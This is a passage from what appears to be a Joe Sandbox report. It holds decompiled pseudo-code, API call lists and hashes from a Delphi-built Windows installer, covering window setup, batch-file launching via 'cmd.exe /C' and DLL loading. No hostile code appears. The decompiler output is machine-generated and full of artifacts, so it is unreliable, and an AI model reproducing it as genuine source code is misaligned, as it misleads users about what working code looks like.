                                                          					_t41 =  *0x48d014; // 0x400000
                                                          					 *0x48c644 = _t41;
                                                          					_t57 = RegisterClassA( &E0048C634);
                                                          					if(_t57 == 0) {
                                                          						E00408EA0(_t45, 0xf02c, 1, __edi, __esi);
                                                          						E00403264();
                                                          					}
                                                          				}
                                                          				_t17 = GetSystemMetrics(0); // executed
                                                          				_t18 = _t17 >> 1;
                                                          				if(_t57 < 0) {
                                                          					asm("adc eax, 0x0");
                                                          				}
                                                          				_push(_t18);
                                                          				_t20 = GetSystemMetrics(1) >> 1;
                                                          				if(_t57 < 0) {
                                                          					asm("adc eax, 0x0");
                                                          				}
                                                          				_push(_t20);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_t21 =  *0x48d014; // 0x400000
                                                          				_push(_t21);
                                                          				_push(0);
                                                          				_t3 = _t45 + 0x6c; // 0x20040
                                                          				_t23 = E00403880( *_t3);
                                                          				_t24 =  *0x48c658; // 0x423894, executed
                                                          				_t25 = E004063FC(_t24, 0x94ca0000, _t23); // executed
                                                          				 *(_t45 + 0x20) = _t25;
                                                          				_t5 = _t45 + 0x6c; // 0x41f028
                                                          				E00403548(_t5);
                                                          				 *((char*)(_t45 + 0x7e)) = 1;
                                                          				_t7 = _t45 + 0x20; // 0x410868
                                                          				E00423864( *_t7, 9, _t57);
                                                          				_t8 = _t45 + 0x24; // 0x4238a4
                                                          				_t9 = _t45 + 0x20; // 0x410868
                                                          				SetWindowLongA( *_t9, 0xfffffffc,  *_t8);
                                                          				if( *0x48d5c4 != 0) {
                                                          					_t38 = E00424390(_t45);
                                                          					_t10 = _t45 + 0x20; // 0x410868
                                                          					SendMessageA( *_t10, 0x80, 1, _t38); // executed
                                                          				}
                                                          				_t11 = _t45 + 0x20; // 0x410868
                                                          				_t46 = GetSystemMenu( *_t11, 0);
                                                          				DeleteMenu(_t46, 0xf030, 0);
                                                          				_t12 = DeleteMenu(_t46, 0xf000, 0);
                                                          				if( *0x48d5c4 == 0) {
                                                          					goto L12;
                                                          				} else {
                                                          					return DeleteMenu(_t46, 0xf010, 0);
                                                          				}
                                                          			}





















                                                          0x00423a8c
                                                          0x00423a90
                                                          0x00423a96
                                                          0x00423bc3
                                                          0x00423bc3
                                                          0x00423bc3
                                                          0x00423aa2
                                                          0x00423aa7
                                                          0x00423aab
                                                          0x00423ab1
                                                          0x00423abe
                                                          0x00423ac0
                                                          0x00423ac5
                                                          0x00423ad4
                                                          0x00423ad7
                                                          0x00423ae5
                                                          0x00423aea
                                                          0x00423aea
                                                          0x00423ad7
                                                          0x00423af1
                                                          0x00423af6
                                                          0x00423af8
                                                          0x00423afa
                                                          0x00423afa
                                                          0x00423afd
                                                          0x00423b05
                                                          0x00423b07
                                                          0x00423b09
                                                          0x00423b09
                                                          0x00423b0c
                                                          0x00423b0d
                                                          0x00423b0f
                                                          0x00423b11
                                                          0x00423b13
                                                          0x00423b15
                                                          0x00423b1a
                                                          0x00423b1b
                                                          0x00423b1d
                                                          0x00423b20
                                                          0x00423b2c
                                                          0x00423b31
                                                          0x00423b36
                                                          0x00423b39
                                                          0x00423b3c
                                                          0x00423b41
                                                          0x00423b4a
                                                          0x00423b4d
                                                          0x00423b52
                                                          0x00423b58
                                                          0x00423b5c
                                                          0x00423b68
                                                          0x00423b6c
                                                          0x00423b79
                                                          0x00423b7d
                                                          0x00423b7d
                                                          0x00423b84
                                                          0x00423b8d
                                                          0x00423b97
                                                          0x00423ba4
                                                          0x00423bb0
                                                          0x00000000
                                                          0x00423bb2
                                                          0x00000000
                                                          0x00423bba

                                                          APIs
                                                            • Part of subcall function 0041F5DC: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EFBC,?,00423AA7,00423E24,0041EFBC), ref: 0041F5FA
                                                          • GetClassInfoA.USER32 ref: 00423AB7
                                                          • RegisterClassA.USER32 ref: 00423ACF
                                                          • GetSystemMetrics.USER32 ref: 00423AF1
                                                          • GetSystemMetrics.USER32 ref: 00423B00
                                                          • SetWindowLongA.USER32 ref: 00423B5C
                                                          • SendMessageA.USER32(00410868,00000080,00000001,00000000), ref: 00423B7D
                                                          • GetSystemMenu.USER32(00410868,00000000,00410868,000000FC,004238A4,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00400000), ref: 00423B88
                                                          • DeleteMenu.USER32(00000000,0000F030,00000000,00410868,00000000,00410868,000000FC,004238A4,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00423B97
                                                          • DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410868,00000000,00410868,000000FC,004238A4,00000000,00400000,00000000,00000000,00000000), ref: 00423BA4
                                                          • DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410868,00000000,00410868,000000FC,004238A4,00000000,00400000), ref: 00423BBA
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
                                                          • String ID:
                                                          • API String ID: 183575631-0
                                                          • Opcode ID: 9e71ee787bd2ec52a7732bf14790ce16d15fb10fd29a2c8fa016684c2ebd8718
                                                          • Instruction ID: 736c748f93f9c3fc699459295d6178eef5ef0b12aa3244549864bfee77555d49
                                                          • Opcode Fuzzy Hash: 9e71ee787bd2ec52a7732bf14790ce16d15fb10fd29a2c8fa016684c2ebd8718
                                                          • Instruction Fuzzy Hash: 413145B17412106AEB10BF69DC82F6A37989B04709F21057EBA41EE2D3DA7DED04876C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 45%
                                                          			E00453454(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, short _a12, char _a24) {
                                                          				char _v5;
                                                          				char _v12;
                                                          				char _v20;
                                                          				short _v40;
                                                          				intOrPtr _v44;
                                                          				char _v88;
                                                          				char _v104;
                                                          				char _v108;
                                                          				char _v112;
                                                          				signed int _t70;
                                                          				void* _t101;
                                                          				intOrPtr _t116;
                                                          				intOrPtr _t118;
                                                          				void* _t130;
                                                          				char _t131;
                                                          				void* _t133;
                                                          				void* _t134;
                                                          				intOrPtr _t135;
                                                          
                                                          				_t102 = __ecx;
                                                          				_t133 = _t134;
                                                          				_t135 = _t134 + 0xffffff94;
                                                          				_v108 = 0;
                                                          				_v112 = 0;
                                                          				_v12 = 0;
                                                          				_t130 = __edx;
                                                          				_t101 = __eax;
                                                          				E00403870(_a24);
                                                          				_push(_t133);
                                                          				_push(0x4536b8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t135;
                                                          				_push(0x4536d4);
                                                          				_push(_t130);
                                                          				_push(0x4536d4);
                                                          				E0040377C();
                                                          				_t136 = __ecx;
                                                          				if(__ecx != 0) {
                                                          					_push(_v12);
                                                          					_push(0x4536e0);
                                                          					_push(__ecx);
                                                          					E0040377C();
                                                          				}
                                                          				E0042C9E8(_t130, _t102,  &_v108, _t136);
                                                          				_t54 = E00406B28(_v108, 0x4536ec);
                                                          				_t137 = _t54;
                                                          				if(_t54 == 0) {
                                                          					L4:
                                                          					if(E0042DB78(_t54) == 0) {
                                                          						_push(0x4536d4);
                                                          						E0042D8B4( &_v112);
                                                          						E0042C614(_v112,  &_v108);
                                                          						_push(_v108);
                                                          						_push("COMMAND.COM\" /C ");
                                                          						_push(_v12);
                                                          						E0040377C();
                                                          					} else {
                                                          						_push(0x4536d4);
                                                          						E0042D8E0( &_v112);
                                                          						E0042C614(_v112,  &_v108);
                                                          						_push(_v108);
                                                          						_push("cmd.exe\" /C \"");
                                                          						_push(_v12);
                                                          						_push(0x4536d4);
                                                          						E0040377C();
                                                          					}
                                                          				} else {
                                                          					E0042C9E8(_t130, _t102,  &_v108, _t137);
                                                          					if(E00406B28(_v108, 0x4536fc) == 0) {
                                                          						goto L4;
                                                          					}
                                                          				}
                                                          				if(_a24 == 0) {
                                                          					E0042C990(_t130, _t102,  &_a24);
                                                          				}
                                                          				E00402A64( &_v88, 0x44);
                                                          				_v88 = 0x44;
                                                          				_v44 = 1;
                                                          				_v40 = _a12;
                                                          				if(_a24 == 0) {
                                                          					_t131 = 0;
                                                          					__eflags = 0;
                                                          				} else {
                                                          					_t131 = E00403880(_a24);
                                                          				}
                                                          				if(E00451338(_t101,  &_v20) != 0) {
                                                          					_push(_t133);
                                                          					_push(0x453630);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t135;
                                                          					_push( &_v104);
                                                          					_push( &_v88);
                                                          					_push(_t131);
                                                          					_push(0);
                                                          					_push(0x4000000);
                                                          					_push(0);
                                                          					_push(0);
                                                          					_push(0);
                                                          					_t70 = E00403880(_v12);
                                                          					_push(_t70);
                                                          					_push(0); // executed
                                                          					L0040597C(); // executed
                                                          					asm("sbb eax, eax");
                                                          					_v5 =  ~( ~_t70);
                                                          					__eflags = _v5;
                                                          					if(_v5 != 0) {
                                                          						__eflags = 0;
                                                          						_pop(_t116);
                                                          						 *[fs:eax] = _t116;
                                                          						_push(E00453637);
                                                          						return E00451374( &_v20);
                                                          					} else {
                                                          						 *_a4 = GetLastError();
                                                          						E00403304();
                                                          						goto L17;
                                                          					}
                                                          				} else {
                                                          					 *_a4 = GetLastError();
                                                          					_v5 = 0;
                                                          					L17:
                                                          					_pop(_t118);
                                                          					 *[fs:eax] = _t118;
                                                          					_push(E004536BF);
                                                          					E00403568( &_v112, 2);
                                                          					E00403548( &_v12);
                                                          					return E00403548( &_a24);
                                                          				}
                                                          			}





















                                                          0x00453454
                                                          0x00453455
                                                          0x00453457
                                                          0x0045345f
                                                          0x00453462
                                                          0x00453465
                                                          0x0045346a
                                                          0x0045346c
                                                          0x00453471
                                                          0x00453478
                                                          0x00453479
                                                          0x0045347e
                                                          0x00453481
                                                          0x00453484
                                                          0x00453489
                                                          0x0045348a
                                                          0x00453497
                                                          0x0045349c
                                                          0x0045349e
                                                          0x004534a0
                                                          0x004534a3
                                                          0x004534a8
                                                          0x004534b1
                                                          0x004534b1
                                                          0x004534bb
                                                          0x004534c8
                                                          0x004534cd
                                                          0x004534cf
                                                          0x004534ec
                                                          0x004534f3
                                                          0x0045352c
                                                          0x00453534
                                                          0x0045353f
                                                          0x00453544
                                                          0x00453547
                                                          0x0045354c
                                                          0x00453557
                                                          0x004534f5
                                                          0x004534f5
                                                          0x004534fd
                                                          0x00453508
                                                          0x0045350d
                                                          0x00453510
                                                          0x00453515
                                                          0x00453518
                                                          0x00453525
                                                          0x00453525
                                                          0x004534d1
                                                          0x004534d6
                                                          0x004534ea
                                                          0x00000000
                                                          0x00000000
                                                          0x004534ea
                                                          0x00453560
                                                          0x00453567
                                                          0x00453567
                                                          0x00453576
                                                          0x0045357b
                                                          0x00453582
                                                          0x0045358d
                                                          0x00453595
                                                          0x004535a3
                                                          0x004535a3
                                                          0x00453597
                                                          0x0045359f
                                                          0x0045359f
                                                          0x004535b1
                                                          0x004535c8
                                                          0x004535c9
                                                          0x004535ce
                                                          0x004535d1
                                                          0x004535d7
                                                          0x004535db
                                                          0x004535dc
                                                          0x004535dd
                                                          0x004535df
                                                          0x004535e4
                                                          0x004535e6
                                                          0x004535e8
                                                          0x004535ed
                                                          0x004535f2
                                                          0x004535f3
                                                          0x004535f5
                                                          0x004535fc
                                                          0x00453600
                                                          0x00453603
                                                          0x00453607
                                                          0x0045361a
                                                          0x0045361c
                                                          0x0045361f
                                                          0x00453622
                                                          0x0045362f
                                                          0x00453609
                                                          0x00453611
                                                          0x00453613
                                                          0x00000000
                                                          0x00453613
                                                          0x004535b3
                                                          0x004535bb
                                                          0x004535bd
                                                          0x0045368d
                                                          0x0045368f
                                                          0x00453692
                                                          0x00453695
                                                          0x004536a2
                                                          0x004536aa
                                                          0x004536b7
                                                          0x004536b7

                                                          APIs
                                                          • GetLastError.KERNEL32(?,COMMAND.COM" /C ,?,004536D4,004536D4,00000000,004536D4,00000000,004536B8,?,?,?,00000001), ref: 004535B3
                                                            • Part of subcall function 0042D8B4: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00452384,00000000,00452636,?,?,00000000,0048D628,00000004,00000000,00000000,00000000,?,0048AA79), ref: 0042D8C7
                                                          • 6CF17180.KERNEL32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,?,?,00000000,00453630,?,?,COMMAND.COM" /C ,?), ref: 004535F5
                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,?,?,00000000,00453630,?,?,COMMAND.COM" /C ,?), ref: 00453609
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$DirectoryF17180Windows
                                                          • String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
                                                          • API String ID: 3014606682-615399546
                                                          • Opcode ID: bdcaeb43fe50853d140617a0faced9bb588975b5fc51db7af6fc085389a60359
                                                          • Instruction ID: 67bb17e0ff672cb8c985fb591801aee914a4b0578bbf541a6c7576e8707b291e
                                                          • Opcode Fuzzy Hash: bdcaeb43fe50853d140617a0faced9bb588975b5fc51db7af6fc085389a60359
                                                          • Instruction Fuzzy Hash: 1A516470A00309BBDB11EF95C841B9EBBB8EF49746F50406BFC04A7282D67C9B49CA5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 100%
                                                          			E0042FF2C() {
                                                          				char _v4;
                                                          				long _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v48;
                                                          				char _t9;
                                                          				short _t13;
                                                          
                                                          				 *0x48d670 = RegisterClipboardFormatA("commdlg_help");
                                                          				 *0x48d674 = RegisterClipboardFormatA("commdlg_FindReplace");
                                                          				_t9 =  *0x48d014; // 0x400000
                                                          				_v16 = _t9;
                                                          				_v12 = 0;
                                                          				_v8 = GetCurrentThreadId();
                                                          				_v4 = 0;
                                                          				_t13 = GlobalAddAtomA(E00407AD4( &_v48,  &_v16, "WndProcPtr%.8X%.8X", 1)); // executed
                                                          				 *0x48c7d8 = _t13;
                                                          				return _t13;
                                                          			}










                                                          0x0042ff39
                                                          0x0042ff48
                                                          0x0042ff4f
                                                          0x0042ff54
                                                          0x0042ff58
                                                          0x0042ff62
                                                          0x0042ff66
                                                          0x0042ff7e
                                                          0x0042ff83
                                                          0x0042ff8c

                                                          APIs
                                                          • RegisterClipboardFormatA.USER32 ref: 0042FF34
                                                          • RegisterClipboardFormatA.USER32 ref: 0042FF43
                                                          • GetCurrentThreadId.KERNEL32 ref: 0042FF5D
                                                          • GlobalAddAtomA.KERNEL32 ref: 0042FF7E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
                                                          • String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
                                                          • API String ID: 4130936913-2943970505
                                                          • Opcode ID: f6a6435b8824f9f5950342d67b03ca63d6a2520d355a04a0db96b138db2c478a
                                                          • Instruction ID: d604335079d6820e711b39dc432d8208c41b19cec52ad835c2345196bbc2d67a
                                                          • Opcode Fuzzy Hash: f6a6435b8824f9f5950342d67b03ca63d6a2520d355a04a0db96b138db2c478a
                                                          • Instruction Fuzzy Hash: C8F082B0A083449AD300EB75D94270D77E0AB49708F800A7FF458A66D1E77895048B2F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2741 4238a4-4238b1 2742 4238b3-4238b6 call 402e78 2741->2742 2743 4238bb-423988 call 410438 call 402c78 * 2 call 41dc2c LoadIconA call 41dfb8 GetModuleFileNameA OemToCharA call 4076d4 2741->2743 2742->2743 2757 42398a-423993 call 40753c 2743->2757 2758 423998-4239a7 call 4076b4 2743->2758 2757->2758 2762 4239a9 2758->2762 2763 4239ac-4239d3 CharLowerA call 4036a4 2758->2763 2762->2763 2766 4239d5-4239d7 call 423a8c 2763->2766 2767 4239dc-4239e8 2763->2767 2766->2767 2769 4239f4-4239fb 2767->2769 2770 4239ea-4239f1 2767->2770 2770->2769
                                                          C-Code - Quality: 93%
                                                          			E004238A4(void* __ecx, char __edx, void* __edi) {
                                                          				char _v5;
                                                          				char _v261;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				int _t29;
                                                          				struct HINSTANCE__* _t40;
                                                          				intOrPtr _t44;
                                                          				struct HINSTANCE__* _t46;
                                                          				void* _t52;
                                                          				char* _t54;
                                                          				int _t65;
                                                          				void* _t66;
                                                          				char _t68;
                                                          				void* _t78;
                                                          				void* _t80;
                                                          				void* _t81;
                                                          
                                                          				_t78 = __edi;
                                                          				_t68 = __edx;
                                                          				_t66 = __ecx;
                                                          				if(__edx != 0) {
                                                          					_t81 = _t81 + 0xfffffff0;
                                                          					_t29 = E00402E78(_t29, _t80);
                                                          				}
                                                          				_v5 = _t68;
                                                          				_t65 = _t29;
                                                          				E00410438(_t66, 0);
                                                          				 *((intOrPtr*)(_t65 + 0x70)) = E00402C78(1);
                                                          				 *((intOrPtr*)(_t65 + 0x80)) = E00402C78(1);
                                                          				 *((intOrPtr*)(_t65 + 0x40)) = 0;
                                                          				 *((intOrPtr*)(_t65 + 0x60)) = 0;
                                                          				 *((intOrPtr*)(_t65 + 0x3c)) = 0x80000018;
                                                          				 *((intOrPtr*)(_t65 + 0x54)) = 0x1f4;
                                                          				 *((intOrPtr*)(_t65 + 0x58)) = 0x32;
                                                          				 *((intOrPtr*)(_t65 + 0x5c)) = 0x9c4;
                                                          				 *((char*)(_t65 + 0x64)) = 0;
                                                          				 *((char*)(_t65 + 0x7d)) = 1;
                                                          				_t79 = E0041DC2C(1);
                                                          				 *((intOrPtr*)(_t65 + 0x78)) = _t39;
                                                          				_t40 =  *0x48d014; // 0x400000
                                                          				E0041DFB8(_t79, LoadIconA(_t40, "MAINICON"));
                                                          				_t13 = _t65 + 0x78; // 0xc23bc88b
                                                          				_t44 =  *_t13;
                                                          				 *((intOrPtr*)(_t44 + 8)) = _t65;
                                                          				 *((intOrPtr*)(_t44 + 4)) = 0x424cbc;
                                                          				_t46 =  *0x48d014; // 0x400000
                                                          				GetModuleFileNameA(_t46,  &_v261, 0x100);
                                                          				OemToCharA( &_v261,  &_v261);
                                                          				_t52 = E004076D4( &_v261, 0x5c);
                                                          				if(_t52 != 0) {
                                                          					_t20 = _t52 + 1; // 0x1
                                                          					E0040753C( &_v261, _t20);
                                                          				}
                                                          				_t54 = E004076B4( &_v261, 0x2e);
                                                          				if(_t54 != 0) {
                                                          					 *_t54 = 0;
                                                          				}
                                                          				CharLowerA( &(( &_v261)[1]));
                                                          				_t24 = _t65 + 0x6c; // 0x41f028
                                                          				E004036A4(_t24, 0x100,  &_v261);
                                                          				if( *0x48d034 == 0) {
                                                          					E00423A8C(_t65, _t78, _t79);
                                                          				}
                                                          				 *((char*)(_t65 + 0x39)) = 1;
                                                          				 *((char*)(_t65 + 0x3a)) = 1;
                                                          				if(_v5 != 0) {
                                                          					_pop( *[fs:0x0]);
                                                          				}
                                                          				return _t65;
                                                          			}



















                                                          0x004238a4
                                                          0x004238a4
                                                          0x004238a4
                                                          0x004238b1
                                                          0x004238b3
                                                          0x004238b6
                                                          0x004238b6
                                                          0x004238bb
                                                          0x004238be
                                                          0x004238c4
                                                          0x004238d5
                                                          0x004238e4
                                                          0x004238ec
                                                          0x004238f1
                                                          0x004238f4
                                                          0x004238fb
                                                          0x00423902
                                                          0x00423909
                                                          0x00423910
                                                          0x00423914
                                                          0x00423924
                                                          0x00423926
                                                          0x0042392e
                                                          0x0042393d
                                                          0x00423942
                                                          0x00423942
                                                          0x00423945
                                                          0x00423948
                                                          0x0042395b
                                                          0x00423961
                                                          0x00423974
                                                          0x00423981
                                                          0x00423988
                                                          0x0042398a
                                                          0x00423993
                                                          0x00423993
                                                          0x004239a0
                                                          0x004239a7
                                                          0x004239a9
                                                          0x004239a9
                                                          0x004239b4
                                                          0x004239b9
                                                          0x004239c7
                                                          0x004239d3
                                                          0x004239d7
                                                          0x004239d7
                                                          0x004239dc
                                                          0x004239e0
                                                          0x004239e8
                                                          0x004239ea
                                                          0x004239f1
                                                          0x004239fb

                                                          APIs
                                                          • LoadIconA.USER32 ref: 00423934
                                                          • GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,004191FE,00000000,?,?,00000001,00000000), ref: 00423961
                                                          • OemToCharA.USER32 ref: 00423974
                                                          • CharLowerA.USER32(?,?,?,00400000,?,00000100,00400000,MAINICON,?,?,?,004191FE,00000000,?,?,00000001), ref: 004239B4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Char$FileIconLoadLowerModuleName
                                                          • String ID: 2$MAINICON
                                                          • API String ID: 3935243913-3181700818
                                                          • Opcode ID: 3c93f5d010c33a8c95b87fd0e9e76144e70a4140192594a1ae238f1be112e272
                                                          • Instruction ID: 4c120462c0f7cfe15a9905d7693c07d2c429d5146352deee2b236b386ab3a8e9
                                                          • Opcode Fuzzy Hash: 3c93f5d010c33a8c95b87fd0e9e76144e70a4140192594a1ae238f1be112e272
                                                          • Instruction Fuzzy Hash: 2531A270A042449ADB10EF29C8857C97BA8AB15308F4445BAE844DF293D7FED988CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00419150(void* __edi, void* __eflags) {
                                                          				char _v8;
                                                          				long _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v56;
                                                          				char _v60;
                                                          				short _t14;
                                                          				char _t15;
                                                          				intOrPtr _t22;
                                                          				intOrPtr _t25;
                                                          				intOrPtr _t27;
                                                          				intOrPtr _t29;
                                                          
                                                          				_v24 = GetCurrentProcessId();
                                                          				_v20 = 0;
                                                          				_t14 = GlobalAddAtomA(E00407AD4( &_v56,  &_v24, "Delphi%.8X", 0)); // executed
                                                          				 *0x48d5c6 = _t14;
                                                          				_t15 =  *0x48d014; // 0x400000
                                                          				_v20 = _t15;
                                                          				_v16 = 0;
                                                          				_v12 = GetCurrentThreadId();
                                                          				_v8 = 0;
                                                          				 *0x48d5c8 = GlobalAddAtomA(E00407AD4( &_v60,  &_v20, "ControlOfs%.8X%.8X", 1));
                                                          				 *0x48d600 = E00402C78(1);
                                                          				_t22 =  *0x48d600; // 0x21c0638
                                                          				E0040B7D0(_t22, 4);
                                                          				_t25 = E004232E0(1); // executed
                                                          				 *0x48d62c = _t25;
                                                          				_t27 = E004238A4(0, 1, __edi); // executed
                                                          				 *0x48d628 = _t27;
                                                          				E0041F330();
                                                          				_t29 =  *0x48d628; // 0x21c2410
                                                          				E00424B18(_t29, 1);
                                                          				E00406A88(E00419120, 1);
                                                          				return E0040B1B4(0x412c38, 0x413ad8, 0x413b0c);
                                                          			}
















                                                          0x0041915a
                                                          0x0041915e
                                                          0x00419176
                                                          0x0041917b
                                                          0x00419183
                                                          0x00419188
                                                          0x0041918c
                                                          0x00419196
                                                          0x0041919a
                                                          0x004191b7
                                                          0x004191c9
                                                          0x004191d3
                                                          0x004191d8
                                                          0x004191e6
                                                          0x004191eb
                                                          0x004191f9
                                                          0x004191fe
                                                          0x00419203
                                                          0x0041920a
                                                          0x0041920f
                                                          0x00419219
                                                          0x00419235

                                                          APIs
                                                          • GetCurrentProcessId.KERNEL32(00000000), ref: 00419155
                                                          • GlobalAddAtomA.KERNEL32 ref: 00419176
                                                          • GetCurrentThreadId.KERNEL32 ref: 00419191
                                                          • GlobalAddAtomA.KERNEL32 ref: 004191B2
                                                            • Part of subcall function 004232E0: 72E5AC50.USER32(00000000,?,?,00000000,?,004191EB,00000000,?,?,00000001,00000000), ref: 00423336
                                                            • Part of subcall function 004232E0: EnumFontsA.GDI32(00000000,00000000,00423280,00410868,00000000,?,?,00000000,?,004191EB,00000000,?,?,00000001,00000000), ref: 00423349
                                                            • Part of subcall function 004232E0: 72E5AD70.GDI32(00000000,0000005A,00000000,00000000,00423280,00410868,00000000,?,?,00000000,?,004191EB,00000000,?,?,00000001), ref: 00423351
                                                            • Part of subcall function 004232E0: 72E5B380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00423280,00410868,00000000,?,?,00000000,?,004191EB,00000000), ref: 0042335C
                                                            • Part of subcall function 004238A4: LoadIconA.USER32 ref: 00423934
                                                            • Part of subcall function 004238A4: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,004191FE,00000000,?,?,00000001,00000000), ref: 00423961
                                                            • Part of subcall function 004238A4: OemToCharA.USER32 ref: 00423974
                                                            • Part of subcall function 004238A4: CharLowerA.USER32(?,?,?,00400000,?,00000100,00400000,MAINICON,?,?,?,004191FE,00000000,?,?,00000001), ref: 004239B4
                                                            • Part of subcall function 0041F330: GetVersion.KERNEL32(?,00419208,00000000,?,?,00000001,00000000), ref: 0041F33E
                                                            • Part of subcall function 0041F330: SetErrorMode.KERNEL32(00008000,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F35A
                                                            • Part of subcall function 0041F330: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F366
                                                            • Part of subcall function 0041F330: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F374
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dRegister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3A4
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3CD
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3E2
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F3F7
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001,00000000), ref: 0041F40C
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000,?,?,00000001), ref: 0041F421
